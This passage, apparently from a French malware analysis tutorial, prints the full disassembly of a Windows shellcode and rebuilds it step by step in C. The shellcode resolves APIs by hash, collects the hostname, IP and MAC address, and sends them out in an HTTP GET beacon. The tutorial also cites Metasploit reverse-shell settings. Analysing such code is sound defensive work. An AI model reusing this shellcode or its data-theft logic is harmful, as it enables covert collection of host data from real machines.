(5F38EBC2=Hash[ROR13-Hybrid](ws2_32.dll!send))
00000237: FF D5 CALL
EBP
00000239: 53 PUSH
EBX
0000023A: 68 75 6E 4D 61 PUSH 614D6E75h "unMa"
(614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))
0000023F: FF D5 CALL
EBP
00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)
00000246: 31 C9 XOR
ECX,ECX
00000248: F7 D1 NOT
ECX
0000024A: 31 C0 XOR
EAX,EAX
0000024C: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
0000024E: F7 D1 NOT
ECX
00000250: 49 DEC ECX
00000251: C3 RET
00000252: 00 00 ADD
BYTE PTR[EAX],AL
00000254: 00 00 ADD
BYTE PTR[EAX],AL
00000256: 01
00000257: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]
0000025D: E8 E4 FF FF FF CALL FFFFFFE4h (-1Ch ->:00000246)
00000262: 4F DEC
EDI
00000263: B9 4F 00 00 00 MOV ECX, 0000004Fh "O"
00000268: 8D B5 75 02 00 00 LEA ESI,[EBP+0x00000275]
0000026E: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00000270: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]
00000276: E8 CB FF FF FF CALL FFFFFFCBh (-35h ->:00000246)
0000027B: C3 RET
0000027C: 0D 0A 43 6F 6E OR EAX,6E6F430Ah
00000281: 6E
00000282: 65
00000283: 63
00000284: 74 69 JZ
0x69 (+69h ->:000002EF)
00000286: 6F
00000287: 6E
00000288: 3A
00000289: 20
0000028A: 6B
0000028B: 65
0000028C: 65
0000028D: 70
0000028E: 2D 61 6C 69 76 SUB EAX,76696C61h
00000293: 65
00000294: 0D 0A 41 63 63 OR EAX,6363410Ah
00000299: 65
0000029A: 70
0000029B: 74 3A JZ
0x3A (+3Ah ->:000002D7)
0000029D: 20
0000029E: 2A
0000029F: 2F
000002A0: 2A
000002A1: 0D 0A 41 63 63 OR EAX,6363410Ah
000002A6: 65
000002A7: 70
000002A8: 74 2D JZ
0x2D (+2Dh ->:000002D7)
000002AA: 45 INC
EBP
000002AB: 6E
000002AC: 63
000002AD: 6F
000002AE: 64
000002AF: 69
000002B0: 6E
000002B1: 67
000002B2: 3A
000002B3: 20
000002B4: 67
000002B5: 7A 69 JP
69h (rel8)(+69h ->:00000320)
000002B7: 70
000002B8: 0D 0A 0D 0A 00 OR EAX,000A0D0Ah
000002BD: 83 C7 0E ADD
EDI,0Eh
000002C0: 31 C9 XOR
ECX,ECX
000002C2: F7 D1 NOT
ECX
000002C4: 31 C0 XOR
EAX,EAX
000002C6: F3
000002C7: AE SCAS
AL, BYTE PTR ES:[EDI]
000002C8: 4F DEC
EDI
000002C9: FF E7 JMP
EDI
000002CB: 0D 0A 43 6F 6F OR EAX,6F6F430Ah
000002D0: 6B
000002D1: 69
000002D2: 65
000002D3: 3A
000002D4: 20
000002D5: 49 DEC
ECX
000002D6: 44 INC
ESP
000002D7: 3D 77 73 32 5F CMP EAX,5F327377h ( 5F327377h ('ws2_') Mirror
> '_2sw')
000002DC: 33 32 XOR ESI,DWORD
PTR[EDX]
000002DE: 00
000002DF: 49 DEC
ECX
000002E0: 50 PUSH
EAX
000002E1: 48 DEC EAX
000002E2: 4C DEC ESP
000002E3: 50 PUSH
EAX
000002E4: 41 INC
ECX
000002E5: 50 PUSH
EAX
000002E6: 49 DEC
ECX
000002E7: 00
000002E8: 02 00 ADD
AL,BYTE PTR[EAX]
000002EA: 00
000002EB: 59 POP
ECX
000002EC: 7F 00 JG
00h (-00h ->:000002EE)
000002EE: 00
000002EF: 01
000002F0: 47 INC
EDI
000002F1: 45 INC
EBP
000002F2: 54 PUSH
ESP
000002F3: 20
000002F4: 2F
000002F5: 30
000002F6: 35 63 65 61 34 XOR EAX,34616563h
000002FB: 64
000002FC: 65
000002FD: 2D 39 35 31 64 SUB EAX,64313539h
00000302: 2D 34 30 33 37 SUB EAX,37333034h
00000307: 2D 62 66 38 66 SUB EAX,66386662h
0000030C: 2D 66 36 39 30 SUB EAX,30393666h
00000311: 35 35 62 32 37 XOR EAX,37326235h
00000316: 39
00000317: 62
00000318: 62
00000319: 20
0000031A: 48 DEC
EAX
0000031B: 54 PUSH
ESP
0000031C: 54 PUSH
ESP
0000031D: 50 PUSH
EAX
0000031E: 2F
0000031F: 31 2E
00000321: 31 0D
00000323: 0A
00000324: 48 DEC
EAX
00000325: 6F
00000326: 73 74 JNB
SHORT 74h (-FFFFFF8Ch ->:0000039C)
00000328: 3A
00000329: 20
0000032A: 00 00 ADD
BYTE PTR[EAX],AL
0000032C: 00 00 ADD
BYTE PTR[EAX],AL
0000032E: 00 00 ADD
BYTE PTR[EAX],AL
00000330: 00 00 ADD
BYTE PTR[EAX],AL
00000332: 00 00 ADD
BYTE PTR[EAX],AL
00000334: 00 00 ADD
BYTE PTR[EAX],AL
00000336: 00 00 ADD
BYTE PTR[EAX],AL
00000338: 00 00 ADD
BYTE PTR[EAX],AL
0000033A: 00 00 ADD
BYTE PTR[EAX],AL
0000033C: 00 00 ADD
BYTE PTR[EAX],AL
0000033E: 00 00 ADD BYTE PTR[EAX],AL
00000340: 00 00 ADD
BYTE PTR[EAX],AL
00000342: 00 00 ADD
BYTE PTR[EAX],AL
00000344: 00 00 ADD
BYTE PTR[EAX],AL
00000346: 00 00 ADD
BYTE PTR[EAX],AL
00000348: 00 00 ADD
BYTE PTR[EAX],AL
0000034A: 00 00 ADD
BYTE PTR[EAX],AL
0000034C: 00 00 ADD
BYTE PTR[EAX],AL
0000034E: 00 00 ADD
BYTE PTR[EAX],AL
00000350: 00 00 ADD
BYTE PTR[EAX],AL
00000352: 00 00 ADD
BYTE PTR[EAX],AL
00000354: 00 00 ADD
BYTE PTR[EAX],AL
00000356: 00 00 ADD
BYTE PTR[EAX],AL
00000358: 00 00 ADD
BYTE PTR[EAX],AL
0000035A: 00 00 ADD
BYTE PTR[EAX],AL
0000035C: 00 00 ADD
BYTE PTR[EAX],AL
0000035E: 00 00 ADD
BYTE PTR[EAX],AL
00000360: 00 00 ADD
BYTE PTR[EAX],AL
00000362: 00 00 ADD
BYTE PTR[EAX],AL
00000364: 00 00 ADD
BYTE PTR[EAX],AL
00000366: 00 00 ADD
BYTE PTR[EAX],AL
00000368: 00 00 ADD
BYTE PTR[EAX],AL
0000036A: 00 00 ADD
BYTE PTR[EAX],AL
0000036C: 00 00 ADD
BYTE PTR[EAX],AL
0000036E: 00 00 ADD
BYTE PTR[EAX],AL
00000370: 00 00 ADD
BYTE PTR[EAX],AL
00000372: 00 00 ADD
BYTE PTR[EAX],AL
00000374: 00 00 ADD
BYTE PTR[EAX],AL
00000376: 00 00 ADD
BYTE PTR[EAX],AL
00000378: 00 00 ADD
BYTE PTR[EAX],AL
0000037A: 00 00 ADD
BYTE PTR[EAX],AL
0000037C: 00 00 ADD
BYTE PTR[EAX],AL
0000037E: 00 00 ADD
BYTE PTR[EAX],AL
00000380: 00 00 ADD
BYTE PTR[EAX],AL
00000382: 00 00 ADD
BYTE PTR[EAX],AL
00000384: 00 00 ADD
BYTE PTR[EAX],AL
00000386: 00 00 ADD
BYTE PTR[EAX],AL
00000388: 00 00 ADD
BYTE PTR[EAX],AL
0000038A: 00 00 ADD
BYTE PTR[EAX],AL
0000038C: 00 00 ADD
BYTE PTR[EAX],AL
0000038E: 00 00 ADD
BYTE PTR[EAX],AL
00000390: 00 00 ADD
BYTE PTR[EAX],AL
00000392: 00 00 ADD
BYTE PTR[EAX],AL
00000394: 00 00 ADD
BYTE PTR[EAX],AL
00000396: 00 00 ADD
BYTE PTR[EAX],AL
00000398: 00 00 ADD
BYTE PTR[EAX],AL
0000039A: 00 00 ADD
BYTE PTR[EAX],AL
0000039C: 00 00 ADD
BYTE PTR[EAX],AL
0000039E: 00 00 ADD
BYTE PTR[EAX],AL
000003A0: 00 00 ADD
BYTE PTR[EAX],AL
000003A2: 00 00 ADD
BYTE PTR[EAX],AL
000003A4: 00 00 ADD
BYTE PTR[EAX],AL
000003A6: 00 00 ADD
BYTE PTR[EAX],AL
000003A8: 00 00 ADD
BYTE PTR[EAX],AL
000003AA: 00 00 ADD
BYTE PTR[EAX],AL
000003AC: 00 00 ADD
BYTE PTR[EAX],AL
000003AE: 00 00 ADD
BYTE PTR[EAX],AL
000003B0: 00 00 ADD
BYTE PTR[EAX],AL
000003B2: 00 00 ADD
BYTE PTR[EAX],AL
000003B4: 00 00 ADD
BYTE PTR[EAX],AL
000003B6: 00 00 ADD
BYTE PTR[EAX],AL
000003B8: 00 00 ADD
BYTE PTR[EAX],AL
000003BA: 00
000003BB: 90 NOP
|
En passant en mode
"Diagram" l'outil permet de recherche les chaînes et signature des
blocs déjà connue lors d'ancien analyse. Voir la capture fournit en dessous
Nous mettons le listing obtenu
pour vous permettre de suivre le cheminement et bien voir les blocs importants
et commencé a éclaire le fonctionnement de charge étudié.
00000000: 60 PUSHAD
00000001: FC CLD
// Clear Direction Flag
00000002: E8 8A 00 00 00 CALL 0000008Ah (+8Ah ->:00000091)
00000007 ->
0000008F:
=>CallFnByHash13Hybride_V1(Dll!Name)
00000090: 90 NOP
00000091: 5D POP
EBP
00000092: 81 BD E9 02 00 00 47 45 54 20 CMP DWORD
PTR[EBP+0x000002E9],0x20544547 ("GET ")
0000009C: 75 70 JNZ
70h (rel8)(+70h ->:0000010E)
0000009E: 8D 85 D1 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D1h]
000000A4: 50 PUSH
EAX
000000A5: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
000000AA: FF D5 CALL
EBP
000000AC: 85 C0 TEST
EAX,EAX
000000AE: 74 5E JZ
0x5E (+5Eh ->:0000010E)
000000B0: 8D 85 D8 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D8h]
000000B6: 50 PUSH
EAX
000000B7: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
000000BC: FF D5 CALL
EBP
000000BE: 85 C0 TEST
EAX,EAX
000000C0: 74 4C JZ
0x4C (+4Ch ->:0000010E)
000000C2: BB 90 01 00 00 MOV EBX,00000190h ""
000000C7: 29 DC SUB
ESP,EBX
000000C9: 54 PUSH
ESP
000000CA: 53 PUSH
EBX
000000CB: 68 29 80 6B 00 PUSH 006B8029h ")€k"
(006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000D0: FF D5 CALL
EBP
000000D2: 01 DC ADD
ESP,EBX
000000D4: 85 C0 TEST
EAX,EAX
000000D6: 75 36 JNZ
36h (rel8)(+36h ->:0000010E)
000000D8: 50 PUSH
EAX
000000D9: 50 PUSH
EAX
000000DA: 50 PUSH
EAX
000000DB: 50 PUSH
EAX
000000DC: 40 INC
EAX
000000DD: 50 PUSH
EAX
000000DE: 40 INC
EAX
000000DF: 50 PUSH
EAX
000000E0: 68 EA 0F DF E0 PUSH E0DF0FEAh "êß"
(E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000E5: FF D5 CALL
EBP
000000E7: 31 DB XOR EBX,EBX
000000E9: F7 D3 NOT
EBX
000000EB: 39 C3 CMP
EBX,EAX
000000ED: 74 1F JZ
0x1F (+1Fh ->:0000010E)
000000EF: 89 C3 MOV
EBX,EAX
000000F1: 6A 10 PUSH
10h (16) ''
000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]
000000F9: 56 PUSH
ESI
000000FA: 53 PUSH
EBX
000000FB: 68 99 A5 74 61 PUSH 6174A599h "™¥ta"
(6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))
00000100: FF D5 CALL
EBP
00000102: 85 C0 TEST
EAX,EAX
00000104: 74 1F JZ
0x1F (+1Fh ->:00000125)
00000106: FE 8D 89 00 00 00 DEC BYTE PTR[EBP+0x00000089]
0000010C: 75 E3 JNZ
E3h (rel8)(-1Dh ->:000000F1)
0000010E: 80 BD 4F 02 00 00 01 CMP BYTE PTR[EBP+0x0000024F],0x01
00000115: 74 07 JZ
0x07 (+07h ->:0000011E)
00000117: E8 3B 01 00 00 CALL 0000013Bh (+13Bh ->:00000257)
0000011C: EB 05 JMP
05h +05h ->:00000123)
0000011E: E8 4D 01 00 00 CALL 0000014Dh (+14Dh ->:00000270)
00000123: FF E7 JMP
EDI
00000125: B8 00 01 00 00 MOV EAX, 00000100h ""
0000012A: 29 C4 SUB
ESP,EAX
0000012C: 89 E2 MOV
EDX,ESP
0000012E: 52 PUSH
EDX
0000012F: 50 PUSH
EAX
00000130: 52 PUSH
EDX
00000131: 68 B6 49 DE 01 PUSH 01DE49B6h "¶IÞ"
(01DE49B6=Hash[ROR13-Hybrid](ws2_32.dll!gethostname))
00000136: FF D5 CALL
EBP
00000138: 5F POP
EDI
00000139: 81 C4 00 01 00 00 ADD ESP,00000100h (256)
0000013F: 85 C0 TEST
EAX,EAX
00000141: 0F 85 F2 00 00 00 JNE 000000F2h (+F2h ->:00000239)
00000147: 57 PUSH
EDI
00000148: E8 F9 00 00 00 CALL 000000F9h (+F9h ->:00000246)
0000014D: 5E POP
ESI
0000014E: 89 CA MOV
EDX,ECX
00000150: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]
00000156: E8 EB 00 00 00 CALL 000000EBh (+EBh ->:00000246)
0000015B: 4F DEC
EDI
0000015C: 83 FA 20 CMP
EDX,+20h
0000015F: 7C 05 JL
05h (rel8)(+05h ->:00000166)
00000161: BA 20 00 00 00 MOV EDX, 00000020h
00000166: 89 D1 MOV
ECX,EDX
00000168: 56 PUSH
ESI
00000169: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0000016B: B9 0D 00 00 00 MOV ECX, 0000000Dh ""
00000170: 8D B5 C4 02 00 00 LEA ESI,[EBP+0x000002C4]
00000176: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00000178: 89 BD 4B 02 00 00 MOV DWORD PTR[EBP+0000024Bh],EDI
0000017E: 5E POP
ESI
0000017F: 56 PUSH
ESI
00000180: 68 A9 28 34 80 PUSH 803428A9h "©(4"
(803428A9=Hash[ROR13-Hybrid](ws2_32.dll!gethostbyname))
00000185: FF D5 CALL
EBP
00000187: 85 C0 TEST
EAX,EAX
00000189: 0F 84
AA 00 00 00 JE 000000AAh
(+AAh ->:00000239)
0000018F: 66 8B 48 0A MOV CX,WORD PTR[EAX+0x0A]
00000193: 66 83 F9 04 CMP CX,0x0004
00000197: 0F 82 9C 00 00 00 JB Loc_00000239
0000019D: 8D 40 0C LEA
EAX,DWORD PTR [EAX+0Ch]
000001A0: 8B 00 MOV
EAX,DWORD PTR [EAX]
000001A2: 8B 08 MOV
ECX,DWORD PTR [EAX]
000001A4: 8B 09 MOV
ECX,DWORD PTR [ECX]
000001A6: B8 00 01 00 00 MOV EAX, 00000100h ""
000001AB: 50 PUSH
EAX
000001AC: 89 E7 MOV
EDI,ESP
000001AE: 29 C4 SUB
ESP,EAX
000001B0: 89 E6 MOV
ESI,ESP
000001B2: 57 PUSH
EDI
000001B3: 56 PUSH
ESI
000001B4: 51 PUSH
ECX
000001B5: 51 PUSH
ECX
000001B6: 68 48 72 D2 B8 PUSH B8D27248h "HrÒ¸"
(B8D27248=Hash[Ror13-Hybrid](iphlpapi.dll!SendARP))
000001BB: FF D5 CALL
EBP
000001BD: 85 C0 TEST
EAX,EAX
000001BF: 81 C4 04 01 00 00 ADD ESP,00000104h (260)
000001C5: 0F B7 0F MOVZX
ECX,WORD PTR [EDI]
000001C8: 83 F9 06 CMP
EAX,+06h
000001CB: 72 6C JB
(rel8) 6Ch (-FFFFFF94h ->:00000239)
000001CD: B9 06 00 00 00 MOV ECX, 00000006h ""
000001D2: B8 10 00 00 00 MOV EAX, 00000010h ""
000001D7: 29 C4 SUB
ESP,EAX
000001D9: 89 E7 MOV
EDI,ESP
000001DB: 89 CA MOV
EDX,ECX
000001DD: D1 E2 SHL
EDX,1
000001DF: 50 PUSH
EAX
000001E0: 52 PUSH
EDX
000001E1: 31 D2 XOR
EDX,EDX
000001E3: 8A 16 MOV
DL, BYTE PTR [ESI]
000001E5: 88 D0 MOV
AL,DL
000001E7: 24 F0 AND
AL,0xF0
000001E9: C0 E8 04 SHR
AL,0x04
000001EC: 3C 09 CMP
AL,09h
000001EE: 77 04 JA
04h (Jump if Above)(+04h ->:000001F4)
000001F0: 04 30 ADD
AL,0x30
000001F2: EB 02 JMP
02h +02h ->:000001F6)
000001F4: 04 37 ADD
AL,0x37
000001F6: 88 07 MOV
BYTE PTR[EDI],AL
000001F8: 47 INC
EDI
000001F9: 88 D0 MOV
AL,DL
000001FB: 24 0F AND
AL,0x0F
000001FD: 3C 09 CMP
AL,09h
000001FF: 77 04 JA
04h (Jump if Above)(+04h ->:00000205)
00000201: 04 30 ADD
AL,0x30
00000203: EB 02 JMP
02h +02h ->:00000207)
00000205: 04 37 ADD AL,0x37
00000207: 88 07 MOV
BYTE PTR[EDI],AL
00000209: 47 INC
EDI
0000020A: 46 INC
ESI
0000020B: E2 D4 LOOP
D4h (-FFFFFFD4h=>:000001E1) Dec ECX or CX jump if !=0
0000020D: 59 POP
ECX
0000020E: 29 CF SUB
EDI,ECX
00000210: 89 FE MOV
ESI,EDI
00000212: 58 POP
EAX
00000213: 01 C4 ADD
ESP,EAX
00000215: 8B BD 4B 02 00 00 MOV EDI,DWORD PTR[EBP+0x0000024B]
0000021B: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0000021D: C6 85 4F 02 00 00 01 MOV BYTE PTR[EBP+0000024Fh],01h =>
''
00000224: E8 2E 00 00 00 CALL 0000002Eh (+2Eh ->:00000257)
00000229: 31 C0 XOR
EAX,EAX
0000022B: 50 PUSH
EAX
0000022C: 51 PUSH
ECX
0000022D: 29 CF SUB
EDI,ECX
0000022F: 4F DEC
EDI
00000230: 57 PUSH
EDI
00000231: 53 PUSH
EBX
00000232: 68 C2 EB 38 5F PUSH 5F38EBC2h "Âë8_"
(5F38EBC2=Hash[ROR13-Hybrid](ws2_32.dll!send))
00000237: FF D5 CALL
EBP
00000239: 53 PUSH
EBX
0000023A: 68 75 6E 4D 61 PUSH 614D6E75h "unMa" (614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))
0000023F: FF D5 CALL
EBP
00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)
00000246: 31 C9 XOR
ECX,ECX
00000248: F7 D1 NOT
ECX
0000024A: 31 C0 XOR
EAX,EAX
0000024C: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
0000024E: F7 D1 NOT
ECX
00000250: 49 DEC ECX
00000251: C3 RET
00000252: 00 00 ADD
BYTE PTR[EAX],AL
00000254: 00 00 ADD
BYTE PTR[EAX],AL
00000256: 01
00000257: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]
0000025D: E8 E4 FF FF FF CALL FFFFFFE4h (-1Ch ->:00000246)
00000262: 4F DEC
EDI
00000263: B9 4F 00 00 00 MOV ECX, 0000004Fh "O"
00000268: 8D B5 75 02 00 00 LEA ESI,[EBP+0x00000275]
0000026E: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00000270: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]
00000276: E8 CB FF FF FF CALL FFFFFFCBh (-35h ->:00000246)
0000027B: C3 RET
0000027C ->
000002BD: db '
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip
',00h
000002BD: 83 C7 0E ADD
EDI,0Eh
000002C0: 31 C9 XOR
ECX,ECX
000002C2: F7 D1 NOT
ECX
000002C4: 31 C0 XOR
EAX,EAX
000002C6: F3
000002C7: AE SCAS
AL, BYTE PTR ES:[EDI]
000002C8: 4F DEC
EDI
000002C9: FF E7 JMP
EDI
000002CB: 0D 0A 43 6F 6F OR EAX,6F6F430Ah
000002D0: 6B
000002D1: 69
000002D2: 65
000002D3: 3A
000002D4: 20
000002D5: 49 DEC
ECX
000002D6: 44 INC
ESP
000002D7: 3D 77 73 32 5F CMP EAX,5F327377h ( 5F327377h ('ws2_') Mirror
> '_2sw')
000002DC: 33 32 XOR ESI,DWORD
PTR[EDX]
000002DE: 00
000002DF: 49 DEC
ECX
000002E0: 50 PUSH
EAX
000002E1: 48 DEC EAX
000002E2: 4C DEC ESP
000002E3: 50 PUSH
EAX
000002E4: 41 INC
ECX
000002E5: 50 PUSH
EAX
000002E6: 49 DEC
ECX
000002E7: 00
000002E8: 02 00 ADD
AL,BYTE PTR[EAX]
000002EA: 00
000002EB: 59 POP
ECX
000002EC: 7F 00 JG
00h (-00h ->:000002EE)
000002EE: 00
000002EF: 01
000002F0 ->
0000032B: db 'GET
/05cea4de-951d-4037-bf8f-f69055b279bb HTTP/1.1
Host: ',00h
|
IV. Transposition du code en l'équivalent C
A la différence des autres analyse, nous avons faire le
parallèle entre le codes assembleur brute et l'équivant en C. Pour permettre au
personne moins familiarisé à l'assembleur de comprend le fonctionnement du
programme et de pouvoir facilement crée leur propre simulateur en C de la
charge.
Avec le listing, il est bien
plus facile de lire ce shellcode et commencé son analyse détaillé
Les premiers opcode sont assez
classique, ils permettent de récupération l'adresse d'une fonction par saut de
la fonction via un call et ainsi de pousser sur la pile l'adresse de la
fonction sur la pile de la dit fonction.
00000002: E8 8A 00 00 00 CALL 0000008Ah (+8Ah ->:00000091)
00000007 ->
0000008F:
=>CallFnByHash13Hybride_V1(Dll!Name)
00000090: 90 NOP
00000091: 5D POP
EBP
|
En ligne 91, nous avons donc
EBP contenant la valeur 0x00000007 qui correspond à l'Adresse de la fonction
"CallFnByHash13Hybride_V1(Dll!Name)"
Il est intéressant de voir
cette fonction dans le shellcode. Cette fonction est présent dans plusieurs
shellcode et surtout chez "Metasploit"
Nous mettons quelques références
utilisant cette fonction
*
windows/shell_reverse_tcp - 314 bytes
*
http://www.metasploit.com
*
AutoRunScript=, LHOST=192.168.200.1, EXITFUNC=process,
*
InitialAutoRunScript=, LPORT=443, ReverseConnectRetries=5
|
*
windows/shell_bind_tcp - 341 bytes
*
http://www.metasploit.com
* VERBOSE=false, LPORT=4444,
RHOST=, EXITFUNC=process,
* InitialAutoRunScript=,
AutoRunScript=
|
Elle sert à appeler des
fonctions avec la sélection de celle-ci par un hash hybride composé de la DLL
et de l'API ciblé ou dit hash composite.
Nous avons mis un schéma
conceptuel du mode d'appel
La ligne suivante est
simplement une comparaison si la chaîne situé à l'adresse
0x000002F0 (
EBP=0x00000007+0x000002E9 ) avec les 4 premiers octets "GET "
00000092: 81 BD E9 02 00 00 47 45 54 20 CMP DWORD
PTR[EBP+0x000002E9],0x20544547 ("GET ")
0000009C: 75 70 JNZ 70h (rel8)(+70h ->:0000010E)
|
l'instruction JNZ ((jump if not zero) fait un saut si le
drapeau Z n'est pas 0 comme CMP quand à elle mes l'indicateur Z à 1 si les deux
valeurs sont égales
Cela correspond simple en C
if(strcmp(pszString,"GET
"))
{
// la chaîne ne contient pas "GET "
}
else
{
// la chaîne commence par GET ( Au niveau du shellcode
zone en 0x0000010E )
}
|
Nous continuons l'analyse dans
la partie ou la chaîne ne contient pas
"GET "
0000009E: 8D 85 D1 02 00 00 LEA EAX,DWORD PTR[EBP + 0x000002D1]
000000A4: 50 PUSH
EAX
000000A5: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
000000AA: FF D5 CALL
EBP
|
L'instruction LEA EAX,DWORD
PTR[EBP+0x000002D1] positionne dans EAX l'adresse 0x000002D8 ( EBP = 0x00000007+0x000002D1 ). Cette
adresse pointe une chaîne
"ws2_32" qui
correspond au nom de la DLL ( w2s_32.dll )
les ligne de A4 à AA correspond
à l'appel de Api "LoadLibraryA"
cela nous donne l'ajout suivant
à notre code C:
if(strcmp(pszString,"GET
"))
{
// la chaîne ne contient pas "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
}
else
{
// la chaîne commence par GET ( Au niveau du shellcode
zone en 0x0000010E )
}
|
en continuant nous avons la
partie test qui suit l'appel de LoadLibrary
000000AC: 85 C0 TEST
EAX,EAX
000000AE: 74 5E JZ 0x5E (+5Eh
->:0000010E)
|
cela nous permet de complété le
code en l'ajoutant.
if(strcmp(pszString,"GET
"))
{
// la chaîne ne contient pas "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
else
{
}
}
else
{
// la chaîne commence par GET ( Au niveau du shellcode
zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
TEST fait un & ( ET ) logique entre les deux registres
si la valeur est 0, il met également le Flag Zéro à 1
Saut si ZF = 1 : jz (jump if zero) effectue le saut
l'adresse définit
si la handle hWs2_32 n'est pas
NULL alors on continue. Nous allons regarder les lignes du shellcode. Avant
nous allons regarder la taille de la structure WSADATA avec la ligne en dessous
DWORD
dwStWSADATA_Size = sizeof(WSADATA);
Nous obtenons qu'elle est de
400 octets en décimale qui convertie en hexa donne 0x190
Maintenant il sera plus simple
de lire les lignes suivant
000000C2: BB 90 01 00 00 MOV EBX,00000190h ""
000000C7: 29 DC SUB
ESP,EBX
000000C9: 54 PUSH
ESP
000000CA: 53 PUSH
EBX
000000CB: 68 29 80 6B 00 PUSH 006B8029h ")€k"
(006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000D0: FF D5 CALL
EBP
|
Cela correspond à l'appel de
l'api WSAStartup comme on peut écrire en C assez basiquement
WSADATA WSAData;
WSAStartup(MAKEWORD(1,9), &WSAData);
Complétons
notre code
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes = WSAStartup(MAKEWORD(1,9),
&WSAData);
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
Les lignes qui suivent son
assez évidente, encore un teste du retour de la fonction. Comme l'API
WSAStartup renvoi 0 si l'appel à réussi. Le test est logique
000000D4: 85 C0 TEST
EAX,EAX
000000D6: 75 36 JNZ
36h (rel8)(+36h ->:0000010E)
|
TEST fait un & (ET) logique entre les deux
registres si la valeur est 0, il met
également le Flag Zéro à 1 .
Saut si ZF = 0 : jnz (jump if not zero) effectue le saut
l'adresse définit
Complétons
notre code
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes = WSAStartup(MAKEWORD(1,9),
&WSAData);
if(
iRes ) goto Error;
// Aller à l'adresse 0000010E
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
Suivons notre analyse, on
trouve ensuite les lignes suivant:
000000D8: 50 PUSH
EAX
000000D9: 50 PUSH
EAX
000000DA: 50 PUSH
EAX
000000DB: 50 PUSH
EAX
000000DC: 40 INC
EAX
000000DD: 50 PUSH
EAX
000000DE: 40 INC
EAX
000000DF: 50 PUSH
EAX
000000E0: 68 EA 0F DF E0 PUSH E0DF0FEAh "êß"
(E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000E5: FF D5 CALL
EBP
|
Pour vous permettre de voir
correctement les paramètres passés. Nous vous mettons les déclaration suivante:
#define IPPROTO_IP 0 /*
Dummy protocol for TCP. */
#define SOCK_STREAM 1 /* stream
(connection) socket */
#define AF_INET 2 /* Internet IP Protocol */
|
SOCKET s1
;
s1
=WSASocket(
AF_INET
,SOCK_STREAM
,IPPROTO_TCP
,NULL, NULL,
NULL);
On peut ainsi complété notre
écriture en C de la manière suivant:
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes = WSAStartup(MAKEWORD(1,9),
&WSAData);
if(
iRes ) goto Error;
// Aller à l'adresse 0000010E
s1 = WSASocket(AF_INET , SOCK_STREAM , IPPROTO_TCP , NULL, NULL, NULL);
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas
pu être chargé (aller à l'adresse 0000010E )
Error:
|
Rappel si la API échoue renvoi
#define INVALID_SOCKET ((SOCKET)(~0))
#define SOCKET_ERROR (-1)
|
ce qui nous permet de mieux
comprendre les lignes le test suivant:
000000E7: 31 DB XOR EBX,EBX
000000E9: F7 D3 NOT
EBX
000000EB: 39 C3 CMP
EBX,EAX
000000ED: 74 1F JZ
0x1F (+1Fh ->:0000010E)
|
Nous regardons ce qui ce trouve
à cette Adresse si l'URL contient "GET "
0000010E: 80 BD
4F 02 00 00 01 CMP BYTE
PTR[EBP+0x0000024F],0x01
00000115: 74 07 JZ
0x07 (+07h ->:0000011E)
|
on garde cela pour remplir le
cas ou socket égale SOCKET_ERROR.
Nous remplissons notre
